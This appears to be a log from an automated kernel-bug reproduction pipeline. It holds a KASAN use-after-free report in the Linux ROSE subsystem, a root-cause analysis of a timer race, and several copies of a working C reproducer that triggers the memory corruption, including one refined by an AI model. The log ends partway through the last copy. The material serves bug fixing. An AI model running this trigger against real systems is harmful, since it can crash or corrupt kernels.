RAX: dffffc0000000000 RBX: ffff8880b8533ce8 RCX: 0000000000000002
RDX: 0000000000000000 RSI: ffffffff8c1b19a0 RDI: ffffffff8e12b8e8
RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000200 R11: 0000000000017585 R12: 0000000000000002
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
 trace_lock_acquire include/trace/events/lock.h:24 [inline]
 lock_acquire+0x317/0x380 kernel/locking/lockdep.c:5831
 rcu_lock_acquire include/linux/rcupdate.h:312 [inline]
 rcu_read_lock include/linux/rcupdate.h:850 [inline]
 class_rcu_constructor include/linux/rcupdate.h:1193 [inline]
 unwind_next_frame+0xd1/0x1ea0 arch/x86/kernel/unwind_orc.c:495
 arch_stack_walk+0x94/0xf0 arch/x86/kernel/stacktrace.c:25
 stack_trace_save+0x8e/0xc0 kernel/stacktrace.c:122
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
NeedProbe: false

gemini-3.1-pro-preview

							input: 12452
							output: 1714
							thoughts: 2541
						

**Reproducer Refinement for KASAN Slab-Use-After-Free in `rose_send_frame`**

Okay, so the user has given us a solid foundation here, a detailed bug description and a strategy for a reproducer. Since the `NeedProbe` flag is false, we can go ahead and build a minimal C program directly. My initial thought is to review the reproducer that was provided. It seems like the basic structure is sound; it's setting up an `ax0` using the `mkiss` line discipline on a pty, bringing it up, then configuring a `rose0` interface, and setting some sysctls. We see a sequence of adding a route, connecting, deleting the route, closing the socket, and repeating this loop ten times.

I'm making a mental note that the reproducer relies on `N_AX25` which, as an expert, I know is defined as 5 in `<linux/tty.h>`. Let's just make sure that's explicitly included in the final code. We'll be using `/dev/ptmx`, set `TIOCSETD` to `N_AX25` and the rest will follow.

Now, let's refine the reproducer. First, proper error handling and logging are key to making this reproducer useful and easy to debug. I'll make sure there's error checking after every significant system call, and informative print statements. I also want to clarify that `N_AX25` is included and defined. So I'll definitely add some `#include` directives and `#define N_AX25 5`.

Okay, I'm thinking about edge cases. `SIOCSIFHWADDR` might fail with `EBUSY` if the interface is already up. It's likely that `rose0` is created when we load the `rose` module, however to make sure we don't exit if it already exists, let's just make the error message a warning instead of a fatal error. Similarly, `SIOCADDRT` might fail if we already have the route present, but since we are deleting it, the failure is unlikely, but let's change it just in case. Also, since `connect` may return `EINPROGRESS` or similar when non-blocking, we don't need to exit if there's an error. We want to be able to use the results regardless of what happens. Finally, we'll check `socket(AF_ROSE, ...)` for `EAFNOSUPPORT` to ensure the module is loaded and usable.

I'll proceed to write the final C code, integrating these refinements and checks. I'll make sure the comments are also clear.

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);
    printf("[+] Set sysctls\n");

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            printf("[-] Failed to bind rsock %d: %s\n", i, strerror(errno));
            exit(1);
        }

        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            printf("[-] Failed to add route %d: %s\n", i, strerror(errno));
            close(rsock);
            continue;
        }

        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        if (ioctl(rsock, SIOCDELRT, &route) < 0) {
            printf("[-] Failed to delete route %d: %s\n", i, strerror(errno));
        }
        
        close(rsock);
    }
    printf("[+] Triggered race condition loop\n");

    sleep(1);
    printf("[+] Done waiting\n");

    return 0;
}
]

map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>
#include <termios.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    } else {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
    }
}

int main() {
    printf("[*] Starting reproducer...\n");

    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx\n");

    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        printf("[-] Failed to TIOCSETD to N_AX25: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket\n");

    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring ax0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        printf("[-] Failed to set hwaddr for rose0: %s\n", strerror(errno));
    } else {
        printf("[+] Set hwaddr for rose0\n");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to get flags for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
        printf("[-] Failed to bring rose0 up: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up\n");

